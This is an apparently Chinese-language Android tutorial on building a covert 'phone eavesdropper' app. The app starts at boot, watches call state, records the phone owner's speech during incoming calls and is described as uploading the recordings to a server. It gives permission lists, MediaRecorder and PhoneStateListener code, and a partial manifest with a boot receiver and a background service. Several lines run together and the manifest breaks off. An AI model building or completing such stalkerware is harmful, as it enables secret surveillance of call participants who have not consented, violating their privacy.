Android入门:利用MediaRecorder和TelephonyManager实现电话窃听器
一、电话窃听器介绍
电话窃听器定义:在A的手机装上电话窃听器应用,则如果B给A打电话,则会录制A说的话并将此音频文件上传到服务器;如图所示:
二、电话窃听器核心代码
需要的权限:
接收开机广播权限: <uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED"/>录制音频权限: <uses-permission android:name="android.permission.RECORD_AUDIO"/>读取打电话的状态权限:<uses-permission android:name="android.permission.READ_PHONE_STATE"/>
网络通信权限: <uses-permission android:name="android.permission.INTERNET"/>
录制音频的核心代码:
recorder = new MediaRecorder();
recorder.setAudioSource(MediaRecorder.AudioSource.MIC);//设置输入流设备为麦克风
recorder.setOutputFormat(MediaRecorder.OutputFormat.THREE_GPP);//设置输出格式
recorder.setAudioEncoder(MediaRecorder.AudioEncoder.AMR_NB);//设置编码方式
recorder.setOutputFile(filename); //设置输出文件
recorder.prepare();//准备recorder.start();//开始录制recorder.stop();//停止录制
recorder.release(); //释放资源
电话服务监听核心代码:
TelephonyManager manager = (TelephonyManager)getSystemService(Context.TELEPHONY_SERVICE);//获得电话管理器
manager.listen(listener, PhoneStateListener.LISTEN_CALL_STATE);//对呼叫状态进行监听
private PhoneStateListener listener = new PhoneStateListener(){
@Override
public void onCallStateChanged(int state, String incomingNumber) {//当状态改变时调用
super.onCallStateChanged(state, incomingNumber);
switch(state){
case TelephonyManager.CALL_STATE_RINGING://来电
//处理代码
break;
case TelephonyManager.CALL_STATE_IDLE://挂断电话
//处理代码
break;<uses-permission android:name="android.permission.PROCESS_OUTGOING_CALLS"/><!-- 外界拨打权限 --><uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED"/><!-- 接收开机广播 --> <uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE"/><!-- sdcard --> <uses-permission android:name="android.permission.MOUNT_UNMOUNT_FILESYSTEMS"/><!-- sdcard --> <uses-permission android:name="android.permission.RECORD_AUDIO"/><!-- 记录音频 --><uses-permission android:name="android.permission.READ_PHONE_STATE"/><!-- 读取电话状态 --> <uses-permission android:name="android.permission.INTERNET"/><!-- 网络权限 --> <application android:icon="@drawable/ic_launcher" android:label="@string/app_name" > <receiver android:name=".BootBroadcastReceiver"> <intent-filter> <action android:name="android.intent.action.BOOT_COMPLETED"/> </intent-filter> </receiver> <service android:name=".PhoneService">